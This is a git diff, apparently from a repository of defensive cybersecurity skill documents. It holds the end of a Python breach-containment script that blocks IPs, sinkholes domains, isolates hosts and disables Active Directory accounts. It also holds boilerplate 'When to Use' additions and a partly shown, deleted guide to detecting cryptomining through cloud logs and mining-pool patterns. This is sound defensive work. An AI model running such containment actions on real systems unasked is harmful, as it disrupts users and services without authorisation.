result = subprocess.run(["ps", "auxwwf"], capture_output=True, text=True)
|
||||
proc_file = os.path.join(output_dir, "running_processes.txt")
|
||||
with open(proc_file, "w") as f:
|
||||
f.write(result.stdout)
|
||||
evidence["running_processes"] = {
|
||||
"file": proc_file,
|
||||
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
|
||||
}
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to collect process list: {e}")
|
||||
|
||||
# DNS cache
|
||||
try:
|
||||
if os.name == "nt":
|
||||
result = subprocess.run(["ipconfig", "/displaydns"], capture_output=True, text=True)
|
||||
else:
|
||||
dns_cache_file = "/var/cache/nscd/hosts" if os.path.exists("/var/cache/nscd/hosts") else ""
|
||||
result = subprocess.run(["cat", dns_cache_file], capture_output=True, text=True) if dns_cache_file else None
|
||||
if result and result.stdout:
|
||||
dns_file = os.path.join(output_dir, "dns_cache.txt")
|
||||
with open(dns_file, "w") as f:
|
||||
f.write(result.stdout)
|
||||
evidence["dns_cache"] = {
|
||||
"file": dns_file,
|
||||
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
|
||||
}
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to collect DNS cache: {e}")
|
||||
|
||||
# ARP table
|
||||
try:
|
||||
result = subprocess.run(["arp", "-a"], capture_output=True, text=True)
|
||||
arp_file = os.path.join(output_dir, "arp_table.txt")
|
||||
with open(arp_file, "w") as f:
|
||||
f.write(result.stdout)
|
||||
evidence["arp_table"] = {
|
||||
"file": arp_file,
|
||||
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
|
||||
}
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to collect ARP table: {e}")
|
||||
|
||||
# Logged-in users
|
||||
try:
|
||||
if os.name == "nt":
|
||||
result = subprocess.run(["query", "user"], capture_output=True, text=True)
|
||||
else:
|
||||
result = subprocess.run(["who"], capture_output=True, text=True)
|
||||
users_file = os.path.join(output_dir, "logged_in_users.txt")
|
||||
with open(users_file, "w") as f:
|
||||
f.write(result.stdout)
|
||||
evidence["logged_in_users"] = {
|
||||
"file": users_file,
|
||||
"sha256": hashlib.sha256(result.stdout.encode()).hexdigest(),
|
||||
}
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to collect logged-in users: {e}")
|
||||
|
||||
return evidence
|
||||
|
||||
|
||||
def run_containment(args):
|
||||
"""Execute the full containment workflow."""
|
||||
action_log = ContainmentActionLog(args.incident_id)
|
||||
logger.info(f"Starting containment for incident: {args.incident_id}")
|
||||
|
||||
# Step 1: Collect volatile evidence if requested
|
||||
if args.collect_evidence:
|
||||
evidence_dir = os.path.join(args.output_dir, "evidence", args.incident_id)
|
||||
logger.info(f"Collecting volatile evidence to {evidence_dir}")
|
||||
evidence = collect_volatile_evidence(evidence_dir)
|
||||
for etype, edata in evidence.items():
|
||||
action_log.log_action("evidence_collection", etype, "collected", f"SHA256: {edata['sha256']}")
|
||||
|
||||
# Step 2: Block IPs at firewall
|
||||
if args.block_ips:
|
||||
ip_list = [ip.strip() for ip in args.block_ips.split(",")]
|
||||
logger.info(f"Blocking {len(ip_list)} IPs at firewall")
|
||||
if os.name == "nt":
|
||||
results = FirewallContainment.block_ips_windows_firewall(ip_list)
|
||||
else:
|
||||
results = FirewallContainment.block_ips_iptables(ip_list)
|
||||
for r in results:
|
||||
action_log.log_action("ip_block", r["ip"], r["status"], r.get("method", r.get("error", "")))
|
||||
|
||||
# Step 3: Block domains
|
||||
if args.block_domains:
|
||||
domain_list = [d.strip() for d in args.block_domains.split(",")]
|
||||
logger.info(f"Sinkholing {len(domain_list)} domains")
|
||||
results = FirewallContainment.block_domains_hosts_file(domain_list)
|
||||
for r in results:
|
||||
action_log.log_action("domain_block", r["domain"], r["status"], r.get("method", ""))
|
||||
|
||||
# Step 4: Isolate endpoints via CrowdStrike
|
||||
if args.crowdstrike_isolate and args.cs_client_id and args.cs_client_secret:
|
||||
cs = CrowdStrikeContainment(args.cs_client_id, args.cs_client_secret)
|
||||
try:
|
||||
cs.authenticate()
|
||||
action_log.log_action("edr_auth", "crowdstrike", "success", "API authenticated")
|
||||
hostnames = [h.strip() for h in args.crowdstrike_isolate.split(",")]
|
||||
for hostname in hostnames:
|
||||
device_id = cs.get_device_id_by_hostname(hostname)
|
||||
if device_id:
|
||||
cs.contain_host(device_id)
|
||||
action_log.log_action("endpoint_isolation", hostname, "contained", f"Device ID: {device_id}")
|
||||
else:
|
||||
action_log.log_action("endpoint_isolation", hostname, "failed", "Device not found in Falcon")
|
||||
except Exception as e:
|
||||
action_log.log_action("edr_auth", "crowdstrike", "failed", str(e))
|
||||
logger.error(f"CrowdStrike containment failed: {e}")
|
||||
|
||||
# Step 5: Disable AD accounts
|
||||
if args.disable_accounts and args.ad_server and ldap3_available:
|
||||
try:
|
||||
ad = ActiveDirectoryContainment(
|
||||
args.ad_server, args.ad_domain, args.ad_username, args.ad_password
|
||||
)
|
||||
accounts = [a.strip() for a in args.disable_accounts.split(",")]
|
||||
for account in accounts:
|
||||
result = ad.disable_account(account)
|
||||
action_log.log_action(
|
||||
"account_disable", account, "disabled" if result else "failed",
|
||||
"AD account disabled" if result else "Account not found",
|
||||
)
|
||||
except Exception as e:
|
||||
action_log.log_action("account_disable", "AD", "failed", str(e))
|
||||
logger.error(f"AD containment failed: {e}")
|
||||
|
||||
# Export containment action log
|
||||
os.makedirs(args.output_dir, exist_ok=True)
|
||||
csv_path = os.path.join(args.output_dir, f"containment_log_{args.incident_id}.csv")
|
||||
json_path = os.path.join(args.output_dir, f"containment_report_{args.incident_id}.json")
|
||||
action_log.export_csv(csv_path)
|
||||
action_log.export_json(json_path)
|
||||
|
||||
logger.info(f"Containment workflow completed for {args.incident_id}")
|
||||
logger.info(f"Total actions taken: {len(action_log.actions)}")
|
||||
return action_log
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Active Security Breach Containment Automation")
|
||||
parser.add_argument("--incident-id", required=True, help="Incident tracking ID (e.g., IR-2024-001)")
|
||||
parser.add_argument("--output-dir", default="./containment_output", help="Output directory for logs and reports")
|
||||
parser.add_argument("--collect-evidence", action="store_true", help="Collect volatile evidence before containment")
|
||||
parser.add_argument("--block-ips", help="Comma-separated list of IPs to block at firewall")
|
||||
parser.add_argument("--block-domains", help="Comma-separated list of domains to sinkhole")
|
||||
parser.add_argument("--crowdstrike-isolate", help="Comma-separated hostnames to isolate via CrowdStrike")
|
||||
parser.add_argument("--cs-client-id", default=os.getenv("CS_CLIENT_ID"), help="CrowdStrike API client ID")
|
||||
parser.add_argument("--cs-client-secret", default=os.getenv("CS_CLIENT_SECRET"), help="CrowdStrike API client secret")
|
||||
parser.add_argument("--disable-accounts", help="Comma-separated AD accounts to disable")
|
||||
parser.add_argument("--ad-server", default=os.getenv("AD_SERVER"), help="Active Directory server address")
|
||||
parser.add_argument("--ad-domain", default=os.getenv("AD_DOMAIN"), help="Active Directory domain")
|
||||
parser.add_argument("--ad-username", default=os.getenv("AD_USERNAME"), help="AD admin username")
|
||||
parser.add_argument("--ad-password", default=os.getenv("AD_PASSWORD"), help="AD admin password")
|
||||
|
||||
args = parser.parse_args()
|
||||
run_containment(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Tailscale is a zero trust mesh VPN built on WireGuard that creates encrypted peer-to-peer connections between devices without requiring traditional VPN servers or complex network configuration. Every connection in a Tailscale network (tailnet) is end-to-end encrypted using WireGuard's Noise protocol framework with Curve25519 key exchange. Tailscale implements zero trust networking by authenticating every connection request through identity providers, enforcing granular Access Control Lists (ACLs), and supporting features like exit nodes, subnet routers, MagicDNS, and Tailscale SSH. For organizations preferring self-hosted infrastructure, Headscale provides an open-source implementation of the Tailscale control server.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring deploying tailscale for zero trust vpn capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Identity provider (Okta, Azure AD, Google Workspace, GitHub, or OIDC-compatible)
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
API enumeration attacks occur when attackers systematically probe API endpoints with sequential or predictable identifiers to discover and access unauthorized resources. Broken Object Level Authorization (BOLA), ranked as API1:2023 in the OWASP API Security Top 10, is the most critical API vulnerability. Attackers manipulate object identifiers (user IDs, order numbers, account references) in API requests to bypass authorization and access other users' data. Detection requires monitoring for patterns of rapid sequential access attempts, authorization failures, and abnormal API usage behavior.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting api enumeration attacks
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- API gateway or reverse proxy with logging enabled (Kong, AWS API Gateway, Apigee)
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Amazon GuardDuty is a threat detection service that continuously monitors AWS accounts for malicious activity and unauthorized behavior. By integrating GuardDuty with Amazon EventBridge and AWS Lambda, security teams achieve automated, real-time responses to threats, reducing mean time to response (MTTR) from hours to seconds. GuardDuty analyzes VPC Flow Logs, CloudTrail management and data events, DNS logs, EKS audit logs, and S3 data events.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting aws guardduty findings automation
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- AWS account with GuardDuty enabled
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Azure service principals are identity objects used by applications, services, and automation tools to access Azure resources. Attackers exploit service principals for privilege escalation, lateral movement, and persistent access. Key abuse patterns include: adding credentials to existing principals, assigning privileged roles, bypassing admin consent, and enumerating service principals for attack paths. Application ownership grants the ability to manage credentials and configure permissions, creating hidden privilege escalation paths.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting azure service principal abuse
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Azure subscription with Microsoft Entra ID P2 license
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Azure Storage accounts are a frequent target for attackers due to misconfigured public access, long-lived SAS tokens, missing encryption, and outdated TLS versions. This skill uses the azure-mgmt-storage Python SDK with StorageManagementClient to enumerate all storage accounts in a subscription, inspect their security properties, list blob containers for public access settings, and generate a risk-scored audit report identifying critical misconfigurations.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting azure storage account misconfigurations
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+ with `azure-mgmt-storage`, `azure-identity`
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Broken Object Property Level Authorization (BOPLA), classified as API3:2023 in the OWASP API Security Top 10, combines two related vulnerability classes: Excessive Data Exposure (API returning more data than needed) and Mass Assignment (API accepting more data than intended). Even when APIs enforce object-level authorization correctly, they may fail to control which specific properties of an object a user can read or modify. Attackers exploit this by reading sensitive properties from API responses or injecting additional properties into request bodies to modify fields they should not have access to.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting broken object property level authorization
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Target API with endpoints that return or accept object data
|
||||
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,318 +0,0 @@
|
||||
---
|
||||
name: detecting-cloud-cryptomining-activity
|
||||
description: >
|
||||
Detecting unauthorized cryptocurrency mining activity in cloud environments by analyzing
|
||||
compute usage anomalies, network traffic to mining pools, GuardDuty findings, and
|
||||
container workload behavior using AWS, Azure, and GCP native security services.
|
||||
domain: cybersecurity
|
||||
subdomain: cloud-security
|
||||
tags: [cloud-security, cryptomining, threat-detection, guardduty, cost-anomaly, incident-response]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Detecting Cloud Cryptomining Activity
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating unexpected spikes in cloud compute costs or CPU utilization
|
||||
- When GuardDuty, Defender for Cloud, or SCC reports cryptocurrency-related findings
|
||||
- When monitoring for compromised credentials being used to launch mining instances
|
||||
- When building detection rules for unauthorized workload deployment in cloud environments
|
||||
- When responding to alerts about network connections to known mining pool infrastructure
|
||||
|
||||
**Do not use** for detecting cryptomining on endpoints or on-premises servers (use EDR tools), for investigating the financial impact of mining (use cloud cost management tools), or for blocking mining at the network level (use DNS filtering and firewall rules).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- AWS GuardDuty enabled across all accounts and regions
|
||||
- Azure Defender for Cloud with server and container plans enabled
|
||||
- GCP Security Command Center with Event Threat Detection enabled
|
||||
- CloudTrail, Azure Activity Log, and GCP Audit Log enabled for API monitoring
|
||||
- Cloud cost monitoring and alerting configured (AWS Cost Anomaly Detection, Azure Cost Management)
|
||||
- Network flow logs enabled (VPC Flow Logs, NSG Flow Logs, VPC Flow Logs)
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Identify GuardDuty Cryptocurrency Findings (AWS)
|
||||
|
||||
Query GuardDuty for cryptocurrency-specific finding types that indicate mining activity.
|
||||
|
||||
```bash
|
||||
# List active cryptocurrency-related findings
|
||||
aws guardduty list-findings \
|
||||
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
|
||||
--finding-criteria '{
|
||||
"Criterion": {
|
||||
"type": {
|
||||
"Eq": [
|
||||
"CryptoCurrency:EC2/BitcoinTool.B!DNS",
|
||||
"CryptoCurrency:EC2/BitcoinTool.B",
|
||||
"CryptoCurrency:Runtime/BitcoinTool.B!DNS",
|
||||
"CryptoCurrency:Runtime/BitcoinTool.B",
|
||||
"CryptoCurrency:Lambda/BitcoinTool.B"
|
||||
]
|
||||
},
|
||||
"service.archived": {"Eq": ["false"]}
|
||||
}
|
||||
}' --output json
|
||||
|
||||
# Get detailed findings
|
||||
FINDING_IDS=$(aws guardduty list-findings \
|
||||
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
|
||||
--finding-criteria '{"Criterion":{"type":{"Eq":["CryptoCurrency:EC2/BitcoinTool.B!DNS"]}}}' \
|
||||
--query 'FindingIds' --output json)
|
||||
|
||||
aws guardduty get-findings \
|
||||
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
|
||||
--finding-ids $FINDING_IDS \
|
||||
--query 'Findings[*].{Type:Type,Severity:Severity,Resource:Resource.InstanceDetails.InstanceId,RemoteIP:Service.Action.NetworkConnectionAction.RemoteIpDetails.IpAddressV4,Domain:Service.Action.DnsRequestAction.Domain}' \
|
||||
--output table
|
||||
```
|
||||
|
||||
### Step 2: Detect Compute Usage Anomalies
|
||||
|
||||
Monitor for unexpected compute resource provisioning and CPU utilization spikes that indicate mining.
|
||||
|
||||
```bash
|
||||
# AWS: Find recently launched large instances (mining often uses c5/p3/g4 instances)
|
||||
aws ec2 describe-instances \
|
||||
--filters "Name=instance-state-name,Values=running" \
|
||||
--query 'Reservations[*].Instances[*].[InstanceId,InstanceType,LaunchTime,Tags[?Key==`Name`].Value|[0]]' \
|
||||
--output table | grep -E "c5\.|c6\.|p3\.|p4\.|g4\.|g5\."
|
||||
|
||||
# AWS: Check for high CPU utilization
|
||||
aws cloudwatch get-metric-statistics \
|
||||
--namespace AWS/EC2 \
|
||||
--metric-name CPUUtilization \
|
||||
--dimensions Name=InstanceId,Value=i-SUSPECT_INSTANCE \
|
||||
--start-time 2026-02-22T00:00:00Z \
|
||||
--end-time 2026-02-23T00:00:00Z \
|
||||
--period 3600 \
|
||||
--statistics Average \
|
||||
--query 'Datapoints[*].[Timestamp,Average]' --output table
|
||||
|
||||
# AWS: Check Cost Anomaly Detection
|
||||
aws ce get-anomalies \
|
||||
--date-interval '{"StartDate":"2026-02-16","EndDate":"2026-02-23"}' \
|
||||
--query 'Anomalies[*].[AnomalyId,AnomalyScore.MaxScore,Impact.TotalImpact,RootCauses[0].Service]' \
|
||||
--output table
|
||||
|
||||
# Azure: Find VMs with unusual CPU patterns
|
||||
az monitor metrics list \
|
||||
--resource /subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Compute/virtualMachines/VM_NAME \
|
||||
--metric "Percentage CPU" \
|
||||
--interval PT1H \
|
||||
--start-time 2026-02-22T00:00:00Z \
|
||||
--end-time 2026-02-23T00:00:00Z
|
||||
```
|
||||
|
||||
### Step 3: Analyze Network Traffic for Mining Pool Connections
|
||||
|
||||
Identify network connections to known cryptocurrency mining pools and Stratum protocol traffic.
|
||||
|
||||
```bash
|
||||
# Query VPC Flow Logs for connections to known mining pool ports (3333, 4444, 8333, 14444)
|
||||
# AWS: Using CloudWatch Logs Insights
|
||||
aws logs start-query \
|
||||
--log-group-name vpc-flow-logs \
|
||||
--start-time $(date -d "24 hours ago" +%s) \
|
||||
--end-time $(date +%s) \
|
||||
--query-string '
|
||||
fields @timestamp, srcAddr, dstAddr, dstPort, bytes
|
||||
| filter dstPort in [3333, 4444, 8333, 14444, 14433, 45700]
|
||||
| sort bytes desc
|
||||
| limit 100
|
||||
'
|
||||
|
||||
# Check DNS queries for mining pool domains
|
||||
aws logs start-query \
|
||||
--log-group-name route53-resolver-logs \
|
||||
--start-time $(date -d "24 hours ago" +%s) \
|
||||
--end-time $(date +%s) \
|
||||
--query-string '
|
||||
fields @timestamp, query_name, srcids.instance
|
||||
| filter query_name like /pool|mining|xmr|monero|nicehash|ethermine|f2pool|nanopool/
|
||||
| limit 100
|
||||
'
|
||||
|
||||
# GCP: Query VPC Flow Logs for mining connections
|
||||
gcloud logging read '
|
||||
resource.type="gce_subnetwork"
|
||||
AND jsonPayload.connection.dest_port=(3333 OR 4444 OR 8333 OR 14444)
|
||||
AND timestamp>="2026-02-22T00:00:00Z"
|
||||
' --limit=50 --format=json
|
||||
```
|
||||
|
||||
### Step 4: Investigate Container and Serverless Mining
|
||||
|
||||
Check for cryptomining within container workloads and serverless functions.
|
||||
|
||||
```bash
|
||||
# EKS/Kubernetes: Find pods with high CPU usage
|
||||
kubectl top pods --all-namespaces --sort-by=cpu | head -20
|
||||
|
||||
# Find suspicious container images
|
||||
kubectl get pods --all-namespaces -o json | python3 -c "
|
||||
import json, sys
|
||||
data = json.load(sys.stdin)
|
||||
suspicious = ['xmrig', 'monero', 'miner', 'crypto', 'pool', 'hashrate']
|
||||
for pod in data['items']:
|
||||
ns = pod['metadata']['namespace']
|
||||
name = pod['metadata']['name']
|
||||
for container in pod['spec'].get('containers', []):
|
||||
image = container.get('image', '').lower()
|
||||
if any(s in image for s in suspicious):
|
||||
print(f'SUSPICIOUS: {ns}/{name} -> image: {container[\"image\"]}')
|
||||
"
|
||||
|
||||
# Check Lambda function for mining (unusual duration and memory)
|
||||
aws lambda list-functions --query 'Functions[*].[FunctionName,MemorySize,Timeout]' --output table
|
||||
aws cloudwatch get-metric-statistics \
|
||||
--namespace AWS/Lambda \
|
||||
--metric-name Duration \
|
||||
--dimensions Name=FunctionName,Value=SUSPECT_FUNCTION \
|
||||
--start-time 2026-02-22T00:00:00Z \
|
||||
--end-time 2026-02-23T00:00:00Z \
|
||||
--period 3600 \
|
||||
--statistics Average Maximum
|
||||
```
|
||||
|
||||
### Step 5: Trace the Attack Vector
|
||||
|
||||
Investigate how the mining infrastructure was deployed by analyzing API logs and credential usage.
|
||||
|
||||
```bash
|
||||
# AWS: Find who launched suspect instances
|
||||
aws cloudtrail lookup-events \
|
||||
--lookup-attributes AttributeKey=ResourceType,AttributeValue=AWS::EC2::Instance \
|
||||
--start-time 2026-02-20T00:00:00Z \
|
||||
--query 'Events[?contains(Resources[0].ResourceName, `i-SUSPECT`)].[EventTime,EventName,Username,SourceIPAddress]' \
|
||||
--output table
|
||||
|
||||
# Check for leaked credentials being used
|
||||
aws cloudtrail lookup-events \
|
||||
--lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA_SUSPECT_KEY \
|
||||
--query 'Events[*].[EventTime,EventName,SourceIPAddress,EventSource]' \
|
||||
--output table
|
||||
|
||||
# Check for unusual API calls (RunInstances from new IPs)
|
||||
aws cloudtrail lookup-events \
|
||||
--lookup-attributes AttributeKey=EventName,AttributeValue=RunInstances \
|
||||
--start-time 2026-02-20T00:00:00Z \
|
